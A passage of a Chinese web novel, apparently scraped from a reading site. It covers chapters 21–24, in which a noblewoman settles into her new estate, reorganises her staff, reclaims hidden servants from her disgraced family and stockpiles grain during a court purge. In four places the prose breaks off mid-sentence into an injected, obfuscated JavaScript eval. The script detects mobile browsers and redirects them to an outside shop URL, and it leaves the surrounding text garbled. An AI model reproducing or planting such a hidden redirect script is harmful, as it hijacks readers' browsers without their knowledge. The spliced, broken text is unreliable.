不论荣昌乡君未来有什么谋算,她现在对他们施舍的,都是实打实的恩德。 * 行李和家具一车一车运往渌水山房。 月牙黯淡了星子时,渌水山房终于收拾出正院,足够住人休息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138091|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程曦随车而来,进了屋子,刚刚坐下,便有一个程太后赐到她身边的内侍上前禀报:“县主,娘娘的抓人旨意已经下了。程家今天下午,有十几个男丁被抓进大牢。” 内侍说着捧上一份被蜡封口的信笺。 程曦撕开信封,快速扫过内容,信中誊抄了所有被查处的程家男丁都犯了什么罪行。 ——罪名与程曦在宫中伴驾的时候摘抄的大差不差,但有些罪名的变化十分有趣,所有罪名都是能够保证他们丢官不丢命的,而且这些罪名大多还可以花费巨额金钱赎买。 现在抓人旨意下达,朝臣们和程太后早就通过气,负责查案的官员绝对不会手软。 相信很快这群人很快就会“罪证确凿”的,安排刑罚处置了。 程家有钱么? 程家当然是有钱的。程家本就富裕,随着程太后当年正位中宫,重获皇后的名分,程家便水涨船高。有权就会有钱。这几十年来,程家累积了大量的财富。 可程家接下来的掌权人,一定是程太后挑选出来、紧紧跟随在她身后的人,他们会不会甘愿为这群罪犯掏钱赎罪? 必然不会。 连理由都是现成的——这群人破坏了程家的好名声,他们活该受惩罚。 失去官职、没有家族的庇护、只能跟着判决的罪行向外流放,程曦确定这些人全都会悄无声息的死在路上。 可从头到尾程太后都没有判他们死刑,程太后还是仁善宽宏的,这群人会死,是苍天不容恶人而已。 处理得真漂亮 程曦眼中闪过一道笑意。 “王御史没进宫责难外祖母,说她提出的罪名太轻了?”程曦一脸好奇地询问。 内侍掩口笑着回话:“娘娘下令彻查的时候,孟夫人正在内宫伴驾,跟娘娘一块给王大娘挑选做婚服的衣料呢。” 王御史家和皇室都要变成了姻亲了,这时候怎么可能不忙着准备女儿婚事,而去触霉头,给程太后找不痛快。 程家那群违法乱纪的人已经被程太后赶出了朝堂,王御史完全没有必要落井下石。 大家各退一步,才能皆大欢喜。 程曦点点头,笑着说:“瞧我,回家之后只顾着收拾行李搬家,都忘了给嫂嫂送礼了。” “春柳,你拿了对牌,去库里把我那一卷凤凰逐日的缂丝当贺礼,送到辽阳侯府。” 王琳闹腾着非要在辽阳侯府守寡的事情,没少给辽阳侯府惹来闲言碎语,所以,为了挽回自家名誉,辽阳侯夫妇必须让王琳从侯府出嫁,绝不会临门一脚的时候,把王琳送回娘家。 想到王御史家里好不容易有个女儿做了皇子正妻,新娘子却要从婆家出嫁,王御史和孟夫人会有多憋气,程曦的心情就更好两分。 她大方地加码:“再添一块未雕琢的蓝田玉。” 随后,程曦爽快吩咐:“今日乔迁之喜,每人添一个月的月钱。” “谢县主!” “谢县主!”丫鬟和内侍们的欢呼声此起彼伏。 乔迁之喜,当然要上下都沾沾喜气。 21.第 21 章 渌水山房是从尚未开发修建完成的皇室别宫改造而来,只开发完了主体建筑的一部分。 被赐给荣昌县主的旨意颁布得很晚,但送人的意思,程太后早就透出去了。 县主位同郡王,宅邸能够占用的土地面积远远小于君王别宫。 自那时起,这座开发中的别宫猛然调转了建筑需求。 程曦大部分时间都在程太后身边,礼部和工部的人随时可以借着汇报工作的机会求见,套问程曦的居住爱好。 谢天谢地,只要是宽敞明亮、花木丰盛的房舍,荣昌县主都喜欢。 渌水山房已经完成修建的部分几乎没做改动,只在主体建筑的东西两侧加盖了两排共八个侧院,填补剩余的面积。 从格局来说,现在的整个渌水山房有一个异常宏伟的正门、过分宽敞的前院和一个面积远超常规设计的正院——或者说原本的正殿。 除此之外,便是名义上不在宅邸内,但实际归属于渌水山房的整个后山林木,专门挖掘的人造湖泊、两道天然温泉以及温泉边的果蔬暖棚。 这是第一座真正意义上属于程曦的宅邸,房契在她名下,宅院的人员任用和调配也全部由她任命。 在囫囵睡了一晚之后,程曦起床马上把留下的管事和大丫鬟都召集到面前。 统管内务的是从宫中退休的女官张辞。 张辞原本是给程太后捧砚侍笔的宫女,得程太后提拔有了官位和薪俸。 去年,张辞年过四旬,向程太后告老,想要出宫养老。 求了恩旨出宫后才发现,儿女皆已过世,并未留下孩子,媳妇也早就改嫁了,这些年一直是女婿模仿了女儿的笔记,隐瞒了真相,骗她的养老银子。 官司清楚,张辞很容易就打赢了。 可她已经出宫,不可能再回去,孤身一人在外,也没有家人照料了。 到底是跟过程太后的人,程太后直接把人调到程曦身边,做了管事嬷嬷,程曦所有的事情都由她打理。 张辞往下,是养过程曦的四个奶嬷嬷。 总想挟制程曦,甚至在程曦和日耀长公主母女龃龉时背叛她的李嬷嬷已经被清理出府。 郑嬷嬷向来首鼠两端,哪一位主人发话,她都听,经过上一回的事情虽然留下了,但程曦并不喜欢。 除了这两个喜欢在程曦面前露脸的,另有一个李嬷嬷性子老实巴交,不爱交际,没事就躲起来歇着。 程曦的最后一个奶嬷嬷姓程,是程家的家生子,她家人极多,父母兄弟俱在,自己也夫妻和美,很有一副天真性子。奶过程曦之后,她算是半荣养了,领了高额薪水,对上从不多嘴,只一闷头地帮着照顾招上来的小丫头、小小子,对下头的人和关系如数家珍。 往下数,有“春”字辈的四个大丫鬟和四个赏赐来的内侍,“夏”、“秋”、“冬”的十二个二等丫鬟,再往下的三等丫鬟和那些粗使的丫鬟、婆子、小厮,程曦甚至叫不上名字。 人手不少,但真在渌水山房铺开,人手恐怕就不够用了。 丫鬟婆子站满了正院前厅。 程曦从后面寝房过来,笑着扶了张辞一把,指了指房间里的位置:“没有外人在,找凳子,都坐吧。” 程曦往下扫了一圈。 张辞自是坐在最前方,她安排的位置。剩余的郑李程三个嬷嬷,没有另起一排,而是按照顺序一一向后排着坐好。 春桃和春柳各占一个排头,抱了绣凳,分别错后张嬷嬷半个位置,春草坐在春桃和春柳之间,又错后一些。春信则是直接坐在房间里的靠背椅上,位置更靠外。她后面才是那群二等丫鬟。 张嬷嬷坐得十分板正,但那姿势看着又很自然。 丫鬟婆子们都坐稳了,张嬷嬷便开始禀报:“县主,渌水山房开的门极多。正门一个、后门一个,正院联动客院的侧门六个,侧院往后院去的门有两个,前院到后院去的小门有三个,下人房采买的角门有两个。带出来的门房只有四个粗使的婆子,人手严重不足。” 程曦笑道:“张嬷嬷和我想到一块了,我今日召集大家过来,就是想问问大家,各处都缺不缺人,缺多少、缺做什么的。” 主人体贴,下头管事的便容易说话了。 最先开口的是管账的春柳:“县主,家中若要加人,内外账目须得分开,奴婢一个管不过来,请县主再提拔两个帮着奴婢一同核对账目。” 以前的账目只涉及程曦自己的万金院内赏罚。各家走礼的银钱,走的是长公主府的外账。 现在不论田庄收入、奴婢采买、每个季度给奴婢发的布料,还是在外与各家走礼,等等一切费用的账目,都要统归到春柳手中。 即便春柳自认对程曦忠心耿耿,绝不会贪墨,也不能连个核对和监管堆砌人都没有,把一切就真的都交到她手上了。 春柳开了话头,郑嬷嬷立刻跟上,抢着表忠心:“县主厨房没有人管,奴婢舌头灵便,愿意管着厨房。” 厨房的东西会被送进肚子里,交给郑嬷嬷这种墙头草? 程曦自问,她是活得不耐烦了么? 她笑了笑:“现在厨房人手不足,先对外招几位名厨。管事的人,就劳烦张嬷嬷帮我问问你的老姐妹们,请个伺候过贵人的。日后开宴,也熟悉流程,免得府上丢人。郑嬷嬷,你别急,过一会我另有事情交给你负责。” 春草管着程曦的衣料、首饰,她小声补充:“县主,既然开府单独住了,日后还是按照长公主府的规矩,每个季度给奴婢发两身新衣裳吗?若规矩不变,须得专门找一个针线班了,否则奴婢带着夏芳、霞菲两个便是缝断了手,也做不过来。” “嗯,另外请针线班子做活。”这些都是正经事,少不得需要人做,是十分合理的要求,程曦马上同意提议。 程嬷嬷跟着补充:“我听外院的小子说,站在后山半山腰就能直接望见山房内的格局。县主,这可怎么办?” 从高处眺望下方,其实看不清楚什么,视力最好的人也顶多瞄见蚂蚁似的人影在院子里穿行。 可如果观察的人心怀歹意,那么就能够把渌水山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145628|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房内防御规范记得一清二楚,很容易对住户不利。 程曦赞赏地笑了起来:“程嬷嬷放心,外祖母给了甲卫,我正打算把他们用起来。既然后山防卫不足,我会让他们关注后山情况的。” 渌水山房赐给程曦之后,大概没有什么人没眼色,跑来窥伺,但以防万一,还是应该投入些兵力防护的。 眼见有露头的机会,下头的二等丫鬟夏茉赶紧开口:“县主,奴婢检查庭院的时候发现正院东北角有很大一片葡萄藤,还有好几株柿子树,带来的人里没有擅长伺候果木的。” “好。”程曦环视一周,“还有其他的么?” 下头没人再吭声了。 帮着记录的春桃这时候才抬起头,柔声道:“县主,看门、养马、守备庭院、洒扫、厨上、针线,样样都缺人手。” “算好人手,让郑嬷嬷和官牙联系,分几批,多采买一些会来慢慢教导。” 买人不但需要好眼光,也得十分细心,能看过几眼,就挑出毛病。但同样的,不论是何种采买,其中都有银钱过手,实在是个美差。 郑嬷嬷无儿无女,最怕的就是没有依靠。 这个“依靠”不但包括没有靠山,还包括了没有钱。 厨房是腌臜地方,她之前主动想把管着厨房的活计接到手上,也是有从中抓钱的意思。 程曦现如今把买人的活交到郑嬷嬷的手上,既有“我看懂你小心思”的警告,也有“但信你挑人的本领,好好做,别让我失望”的宽容。 郑嬷嬷红着眼睛,急忙道:“奴婢一定选回来勤快踏实的好孩子。” “这几天先辛苦小厨房,若是实在忙不过来,先找酒楼定几天席面。”程曦分外好说话。 于是,一向老实巴交的李嬷嬷突然生出胆子,当场询问:“府上缺人奴婢能不能向县主求个恩典,把家中两个丫头,两个小子带进来做工?” 程家的家生子,到她的府上做工? 程曦笑着按住太阳穴,感觉自己太阳穴下的筋脉剧烈暴跳:“李嬷嬷倒是提醒我了,你们几个是程家的隐户。择日不如撞日,张嬷嬷,一会用了早饭,你就带上我的印信,带着三位嬷嬷去官衙走一趟,把她们的身份过了明路。” 奴婢好歹有个身份,隐户在官方层面上时“不存在”的,主家即便打杀了,也无人追究。 一听到有这种好事,程嬷嬷直接跪到地上,叩首恳求:“奴婢这些年跟着县主,攒下许多恩赏。奴婢愿意自己出银钱交罚金,只求县主将奴婢的父母丈夫和儿女都过户。” 可以,确实是可以。 但程家现在的情况…… 程曦思考片刻,把程嬷嬷从地上拉起来:“既如此,此事就交给程嬷嬷来办吧,就说是我的意思,让程家把人都交出来。” ——程家正在经历风暴,正是最虚弱的时候,此事不挖墙脚,更待何时?即便行为看起来像个大反派也无妨。 “谢县主大恩大德!”程嬷嬷对着程曦用力磕头,这一回,连有儿女的李嬷嬷也连连致谢。 22.第 22 章 程家遭逢大灾,从族长程辉到下面各层入朝为官的族人,不分文武,都有上了太后名册而被抓入大牢调查的。 与之相反,程曦如日中天,程太后给她了她更高的名位,更多的食邑,允许她开幕府、招贤纳士,甚至还批下了甲卫。 程曦派人去程家要几个低贱的隐户,程家怎敢不放人? 程家真敢。 程嬷嬷自认有程曦的吩咐,去领几十个人回来,程家绝对不会不给面子,可她说明来意之后,只得到门房的一声冷笑,随后,大门“嘭!”地一声在她眼前合拢。 程嬷嬷再去角门,程家侧门里竟然钻出十几个壮小伙子,举着棍棒就兜头砸向程嬷嬷和她带来的人。 “唉,别推……不要打人,我们是荣昌县主派来要人的!” “呸,胡说八道!程家根本没什么隐户,谁认识你是谁?我看你就是想骗我们,从我们嘴里听到主家的坏话来坑人!给我打,狠狠打出去!” 门房才不管程嬷嬷是不是程家出去的,什么都不听,扯着嗓子大喊,一脚把人踢开。 程嬷嬷带来的几乎都是前来寻找家人的丫鬟婆子,哪能敌得过一群壮年男仆的力气,当场被打散了队伍,尖叫着躲闪。 程嬷嬷护着一块过来的女眷,当场就挨了两拳。 “啊——啊!多、多谢。”程嬷嬷向后摔去,被一只大手提住了衣领,扶着站稳后扯到一旁。 来人身穿皮甲,怀抱一柄长刀。 他把怀中长刀挂回腰间,展开双臂,几下就将扭打在一块的仆从撕掳开。 “你……!”程嬷嬷站稳后一抬头,看到男人的脸当场失语。 来人给了她一个眼神制止程嬷嬷要说的话,随后板着脸,用一副怀疑的神色,视线在两伙人之间来回扫着。 男人压出一副粗噶的嗓音问:“你们因何当街互殴?” 问话时,那柄长刀又被他抓在手中左右摇晃着。 长刀套着刀鞘,可程家门房在刀尖指向他们时,紧张地绷紧了身体。 “问话呢,你们耳朵聋了?”男人压低眉头,提声质问。 眉目俊美,气质清贵。 门房等人扫着来人那身装备,心中依然露怯。 是禁卫军的人。 禁卫军有不少高门子弟,未来前途不可限量。 程家现在失了太后的爱护,可谁都得罪不起喽。 刚刚一脸凶狠的门房连忙转换出一张谄媚脸。 他赔着笑脸,姿态特别低地凑到男人身旁,好声好气地解释:“郎君有所不知,那些丫鬟婆子不知道是些什么人,上门就说家里藏了隐户,要我们交出来几十号人。程家刚出事,她们这不是明摆着是上门找茬、讹人么?奴婢们专职看守门扉,肯定不能让她们进来胡闹。” 男人回头,喝问:“他说你们是来讹人的,你们有什么证据说的那些人都在程家吗?” 证据? 哪个高门不蓄奴? 真想要证据,那是一抓一大把的。 程嬷嬷想起春草在她们出门之前,特意提醒“遇见麻烦就提程三太爷”,就知道程三太爷便是早早向程太后投诚的那一系。 她笑道:“奴婢也不好说人都被分到哪一房任职,但程三太爷是清楚的。程家这几日被太后申饬,便是没错的也被暂时停职在家自省,程三太爷肯定在家,不妨请出来问一问。” 程家原来的族长是程辉,但辈分最高的是程三太爷。 现在程辉和他唯一一个成年的儿子程旭都进去了,家族中和程辉关系亲近的那几个也进去了,支撑家族的重任自然落到程三太爷肩膀上。 出事了,找他准没错。 “就凭你,也想惊动三太爷?紧守门户就是三太爷叮嘱咱们的。”门房叫嚣。 谁家紧守门户是开门打人的? 程嬷嬷心里翻个白眼,知道门房这群人还是原来程辉掌权时候上来的,怕是改不掉跋扈的性子了,索性道:“看来你是想把事情闹到衙门去了。” 隐户的事情可大可小。 荣昌县主圣眷正浓,她又要给家中隐户上户口,便是有错,也不过是交点罚款的小事;可程家如今风雨飘摇,程太后到底要收拾到什么程度,根本没个准话,竖着走进县衙之后,是不是横着出来,那都是说不准的事情了。 门房眼看打又不能再打,对方还硬起腰杆子,打算闹进县衙,终于感到胆怯了。 “……既然你这么确定,那就先等着,我进去通传一声,问问清楚。” 门房边往室内退去,边色厉内荏地强调。 “沙沙”的脚步声混乱地凑在一起,急着往大门里跑。 最后“嘭”的一声,连门都合拢了。 程嬷嬷一撇嘴,小声抱怨:“程家现在怎么连门房都没规矩。” 宰相门前四品官,程家的门房早就没规矩了,只不过她过往都是随着程曦进出,看不到门房无耻无度的行径罢了。 抱怨完门房,程嬷嬷客客气气地对帮腔的禁卫致谢:“刘郎君,今天多亏了你帮忙,不然不知道还得和门前小鬼纠缠多久。您今日得空出来逛逛?” 原来帮忙的竟是昨日才被放还身份的刘问枢。 刘问枢的态度同样客气,“程嬷嬷客气了,两句话的事情,我没帮上什么。在府中时候,多亏诸位照顾,现在出来了,一应器物都得自己准备。” 他抬手摸了摸后脑勺,露出带着点傻气和无奈的笑,尴尬道:“不怕您笑话,我过去也算厌食膏粱,哪懂应该采买什么,又怕开口就被商户发现不懂,坑了银钱,只能来来回在城里溜达,看别人去哪里采买,又是如何谈价的。” “哎呀,这都是小事。刘郎君等一等,奴婢把人点齐整了,一会带你去找府里用惯的商户人家。”程嬷嬷热情地答应。 刘问枢高兴笑起来,马上站到一边:“那我等嬷嬷办完正事来帮我。” 程家的门房把事情禀报上去,程三太爷听到消息,都没提其它的,当场亲自出来迎接。 “原来是县主身边的奶嬷嬷。县主的意思就是程家的意思,一家人不必说两家话。我现在让他们去找人,得劳嬷嬷稍后了。”程三太爷见到程嬷嬷,一句废话没有,态度堪称谄媚。 程嬷嬷连忙行全礼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程嬷嬷赶紧让丫鬟去库房取来几床备用的被褥交给刘问枢。 硕大的包袱压在刘问枢背后,压弯了青年的腰。 刘问枢却笑得格外畅快:“多谢嬷嬷,我一定守口如瓶。” 他说完就走,一刻不多停留。 程嬷嬷身边的小丫鬟凑趣道:“嬷嬷,这位刘郎君占到了便宜,几两银钱的被褥就能这么开心。” 程嬷嬷直接弹了小丫鬟额头一下,笑骂:“傻丫头,不许浑说。可不准在外提起刘郎君今天过来的事情。” 小丫头不明所以地点头,满心疑惑。 程嬷嬷却没再说什么,自顾自在库房的账上记清楚消耗,然后迅速进了内院向程曦禀报。 ——刘问枢哪里是找不到采买的位置,他是专门找机会碰程曦身边的丫鬟婆子,来警告她们给甲卫分发的东西不对劲,要引起甲士们不满了。 人家来施恩的,却照顾着县主的脸面,装成求帮助。 她们在下头做奴婢的,可不能真把刘问枢当成来打秋风的了。 23.第 23 章 寻常人家搬家,前前后后少不了折腾几个月。 但程曦与众不同。 她获得程太后赏赐的宅院和开府的机会,只是程太后向朝臣宣布,程曦作为太后的外孙女、太后的助手正式走入朝堂。 这个“渌水山房”是荣昌县主的宅邸不假,但程曦本人搬过来之后,其实日常大部分时间,还是要回去皇宫,跟着程太后一块住长寿宫的。 程曦在外的时间少,那就更要尽快把渌水山房内部的事情理顺。 ——一屋不扫,何以扫天下。 程曦不会给人机会,用家宅小事出现纰漏的理由攻击自己。 乌云压头,阳光艰难穿越云层落在地面时,只剩下几缕稀薄的微光。 书房里点着灯,春柳带着夏绵、夏葵两个擅长计算的丫头一块念着下头报上来缺少的物品,并边说边将其归类。 程嬷嬷就在这时候进来的。 程曦给她比了个“先坐”的手势,程嬷嬷安静坐下,一声不吭,等春柳住口了,才起身把刘问枢送来的消息说了。 “幸好刘郎君特意来知会一声。县主不日又要回宫,还不知道何时回来,真等甲士们自己把麻烦解决了或者跟咱们开口,肯定要留下心结了。”程嬷嬷满脸感慨。 甲士的薪俸和装备都是国家出,不需要程曦掏钱。 可用人的是程曦,如果她对甲士没有其他施恩的机会,她凭什么让人奉她为主、听她调遣呢? 御寒的衣物向来一分钱一分货。便宜的是往两层布的夹衣里头塞稻草,保暖能力不佳。要想暖和,就要把夹袄内里的布面换成皮毛。可皮毛价格昂贵,甲士们扣掉食宿和寄回给家人的钱,就未必还能消费得起了。 正是冷的时候,程曦若肯主动施恩,那便是雪中送炭。 “春柳,把这个事情记上,放在最前头处理。”程曦迅速做出反应,“咱们府上的规矩,御寒物品怎么发的?” 专门负责计数的夏绵道:“县主,御寒物品分为布料、皮毛和炭火三种。其中御寒的布料分为做衣裳的厚布和做被面的软布,都是每三年发一回,皮毛也是既做衣裳又做被褥,做衣裳的三年一发,做被褥的五年一发。至于炭火,不好储存,多了又容易引来祝融之灾,卖炭翁每十日来送一次,库房在送到的当天下午分发炭火。” 程曦点点头:“那就照着府里的规矩,明天让他们来领布料和皮毛。除此之外,照着府上随扈的份例,给甲卫们说清楚,他们也有一份一样的,让人记得按时领月钱。” “县主心善。唉,战士一年就五两银子,可能还要被上峰克扣些,真不知道这群甲士怎么过活。”程嬷嬷感叹。 京城居大不易。 军中每年给五两银子。只用这些,甲士们大多没办法活得轻轻松松。反而是高门各家的随扈每个月不做太多活计,每个月的月钱也有四五百钱,再算上统一分发的布料、炭火甚至居所,一整年算下来,倒比当兵还宽裕不少。 程曦眉头一跳,不假思索地问:“在京出租房舍,租金如何?” 程曦手下就有不少房产。 一被提问,春柳就不假思索地回答:“单租一间屋子的话,阳面每个月都需要一百钱,背阴一面的大约五十到七十钱。” 春柳往程曦脸上看了几眼,补充:“拖家带口的大多只会租阳面的屋子,不然算上烧柴、烧炭的费用,反而更浪费,只有单身汉才注意不到这个问题。” 单身汉也不需要出去租房子,直接睡军营或者驻地就够了。 一家三代的话,最起码需要租两间屋子,也就是每年光住宿,就要消耗掉二两。军中任职,一年薪俸五两银子,如何供养父母、养育子女? “……春柳,你查一查,渌水山房附近的屋舍,还有没有空闲的。尽量寻一些空置的,这些甲士照着单身一间、成家两间,给他们安排住宿吧。” 这世界上最伟大的发明就是员工宿舍,既然自己有这个条件,程曦打算把员工宿舍推广开。 春柳小声问:“县主,那若是单身的以后成婚了,或者已经成婚的再生养呢?” “单身的成婚后可以换成两间房,但已经有两间房的,不管日后生多少,都不再涨。”程曦说完,自己就笑了,“我以后会给他们建功立业的机会,要是生了一堆孩子,没心搏前程,那就穷死在那两间屋子算了。” 得了这个消息,春柳也有把握被问起的时候,给甲士们安心。 “也别等明天了,库里布料和皮毛足够么?够的话,今天就发了吧。多冻一天,就多难受一天,没必要。” “足够的。”夏绵回答。 “派人去通知甲卫,来领东西吧。到下一次领炭火的日子,还有六天,足够调查空房了,到时候,给他们把房舍也安置好吧。” “是。”夏绵领命出门。 解决掉摆在眼前的问题,程曦把注意力重新放回统计单,一条条查看。 她很快发现了不该出现的账目。 程曦拧眉指着几项条目:“这批绸缎勾了,我的地方不需要浪费绸缎料子缠柱子。俗气又浪费。还有,过了二更就熄灯,不许通宵点着。” “取暖的炭火再加一成,今冬冷得过分,别让大家受冻。也催着点送缸的商户,宅院里点着炭火不安全,不能少了太平缸。” 一条条的吩咐交代下去,最后需要加减采购的物品被彻底核定。 程曦揉揉发酸的脖子,“春柳,我勾掉的那些采购意见,你拢一下名单,都是哪些人报上来的。查一查他们原来都在什么地方做工。” “是,奴婢明白,会问清楚这群人之前是不是贪墨了。”春柳和程曦相视一笑。 能趁着程曦搬家,趁机钻空子想增添许多不需要的东西坑钱的,会是什么好人?即便不是品行太差的,和程曦也存在理念不合。 程曦过去在长寿宫和长公主府两头跑,哪里都没办法做主,处理不了他们。 这次,她终于等到机会,可以把看不顺眼那群人清理出去了。 程曦从坐榻上起身直直腰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王琅愣在原位,她直勾勾地看着程曦,确定程曦面色没有丝毫改变,只有纯粹的疑惑,动了动嘴唇,又说不出话来了。 是啊,那又如何呢? 程太后把程曦护得如同眼珠子,程曦把男宠带进宫门,程太后都没说过一个字。 养不养男人对程曦能有什么影响? 男人和首饰、珠宝、衣料、家具、书画、宝马一样,不过是程曦的玩具,根本没什么特别的。 王琅这副呆愣的模样倒把程曦逗笑了。 她一手撑住下巴,一手转动着金杯送到唇边,反问:“王二娘,我记得王家赚钱的铺子不多,香料店是其中佼佼者。你娘把香料铺子拿给你练手,你想出这种办法来见我,太容易坏了自家店铺名声了,以后别再做这种事了。” 王琅脸一红,垂下头,带着些许自伤地说:“县主提点得是,我从小为人处事都不如姐姐周全,所以太后娘娘也看不上我的。” ……这个“也”字就很妙。 24.第 24 章 程曦抓住重点,玩味地用舌头顶住杯沿。 王家那些人都有一百个心眼子,表面上循规蹈矩、刚正不阿,实则全是利用名声为自己榨取好处的虚伪小人。 没想到这样的家庭居然养出了个一个实心眼的。 而且,很明显,王琅在家里不受宠爱。 程曦迅速回忆起日前王琅随着她母亲孟夫人入宫时,王琅那频频仰头往上看的渴盼神情,终于意识到,王琅那时候不是想做皇子妻妾攀高枝,而是想给她传递消息。 他人以善心待她,程曦自然不愿辜负对方的好意。 程曦隔着桌子拉住王琅的手腕,“二娘,两家关系疏远,你我不过点头之交,我遇上麻烦,你能想着我,我心里感激。你既来了,我不能让你回去还要自己想借口应付家人。我迁入新宅,需要不少避晦的香料暖房,你看,你让你家的香铺再尽快补充一份订单如何?” 王家能过得如此肆意清贵,归根究底因为王家掌握着江南大片土地和山林,家中还把持着一个出海口,能通过海运将好东西销售出去,换回大笔金银。 “除此之外,”程曦垂下眼帘,轻轻一笑,“我头一回当家,分出来的仆从众多,却刚过打粮食的季节,没有积存。我想再从你家商铺里采买些粮食应急。” 王琅不清楚程曦手里到底分得了多少田宅,更不了解总共有多少奴婢,不过,上门的生意没有不做的道理。 王琅收下程曦释放的善意:“县主要多少粮食,只管直接去粮铺提。” “择日不如撞日,我这就让人跟着二娘去采买。有你这个主家在,下人办事更利落。”程曦笑眯眯的,一伸手指向跟来的春柳。 商定闲事,王琅拿了程曦的礼物,又带着春柳绕回自家铺面。 等安静下来,春信给程曦揉着发僵的脖子和肩膀,轻声询问:“县主怎么想起来采买米粮了?” 程曦向后靠着,把重量交到春信身上,眼睛看向门外昏暗的天,“今年冬天太冷了,雪也比往年更大。” 程太后案头已经有好几本禀报寒灾、雪灾的奏章,程曦担心河道会结冰。 京郊大营屯兵十五万,京中还有五十多万百姓。 兵马的饮食供应都靠着漕运送粮进京。 一旦河道结冰,粮食不能及时送达,京城的所有人口反而会变成最大的问题,甚至战斗力都可能反过来变成扎向自己的利刃。 多存些粮食没坏处,有备无患。 而且…… “我需要摸清楚京中这些商户手里到底囤积了多少粮食。” 只有这样,才好计算最糟糕的情况下,京城的粮食到底能用多久。 程曦安静了一会后,枕着春信的肩膀:“春信,对外放消息,就说我要收皮毛给下人做冬衣,让商人上门,不要吝惜钱财,多收一些。还有,你最近去各家不同粮商那里打听打听他们存粮的数量,若有人问起,就暗示他们辽东的不冻港即将被我收入囊中,我要造船投资海运,想做向外头卖米的生意,需要合作伙伴,不管哪一家来卖米,价格适合的都吃下。” 粮食是比黄金还有用的硬通货。 只要手里有粮食,哪怕遇见了坏事,只要肚子饱饱的,都不算太糟糕。 “炭火和煤球,要不要也多买一些囤着?”春信补充。 程曦却在这时候摇头了,“皮毛和粮食都是可以长期囤积的东西,多买一些也无妨,外人最多觉得我花钱大手大脚,到手之后又挑剔。可烧制煤炭常燃着火,这东西保存起来也不安全。算了,不要。” 况且,今冬寒气逼人,程太后是个政治经验丰富的老政客,她不会察觉不到,更不会不做准备。 程曦准备的这些,只是希望在“万一”的情况下,能帮程太后填补些许漏洞。 * 接下来的整整一旬,京中风声鹤唳。 程辉不愧是在程太后的庇佑下得势了数十载的族长,经过牢里的一通梳理,他吐出了更多犯罪内容。 成顺元年,夏、襄的大战里,他不但克扣粮草,甚至还被查出倒卖军械,甚至将下发给战死士兵的抚恤金扣下,重融为铜、私铸钱币。 除此之外,程辉还在战后隐去了许多已死士官的战功,公然把属于他们的晋封卖出去,又捞了一笔。 这些事情上上下下需要打通无数环节,绝非程辉一人能做到。 至于他的同伙…… 审讯程辉的官员是程太后一手提拔进入三司的,那份认罪书上被程辉供出来的同伙,当然程太后希望有谁,就有谁。 至于没有证据? 官员又能有几个真正做到两袖清风的,这处没错,难道其他的事情也没有一点错误? 只要把人抓进监牢,一通棍棒下去,习惯了养尊处优的官员少有脊梁骨硬过铁棍的。 一直持续到供奉灶王爷那日,衙门彻底封印落锁,程太后向朝臣赐下她亲自写的“福”字,朝廷终于不再有新的官员被抓进大牢。 几张纸而已,却被朝臣千恩万谢地捧回家,贴到内宅最显眼的地方,仿佛有了这么几个字,就不必担心禁军破门而入。 原本和程太后“达成默契”的官员这才发现,事情一旦开始,就不再是他们能够控制的了。 新春将近,朝堂上五品以上的实职,竟然空出了三成! 程太后根本不给朝臣插手的机会。 她先以家人的身份当朝痛斥程辉侮辱先祖名望,直接把人驱逐出族谱,然后以程家嫡女的身份把程三太爷程霖迁到自己母亲名下,变成嫡子,让他做了族长。 程霖是程太后早早失怙的庶出弟弟,比程太后小了十多岁。 那时候程太后为了自保,退居侧室,正在不得志的时候,又无儿女傍身,看到这个不得宠爱的庶弟,心生怜惜,索性带在身边。 同期,先帝的其他姬妾也没为他生下一儿半女。 夫妻俩一同在外征战,带着这么个小弟弟,反而像是带着自己的孩子。 程霖在先帝和程太后的抚育下,被养得看似混不吝,实则文武双全又极有眼光。 这些年来,他不过是碍于身份,从不离开军中,返回程家。 如今,程太后需要他执掌权柄,遥控程家,就亲手重塑程家“嫡系”的定义。 程三太爷得了这场破天富贵之后,更是对程太后唯马首是瞻。 程三太爷既然是嫡子了,那么接下来的问题就更好处理了。 程霖是程家目前辈分最高的男人,他又是“嫡子”,那理所当然的,程霖也应该是程家的族长,继承爵位,去军中填补程辉留下的空缺。 至于程家军中撕掳下去那么多大大小小的将领,空出了不少位置? 那是程家人用命打下来的,程太后还在位置上好好坐着呢,这些官职当然要留给程家其它有军功的子弟。 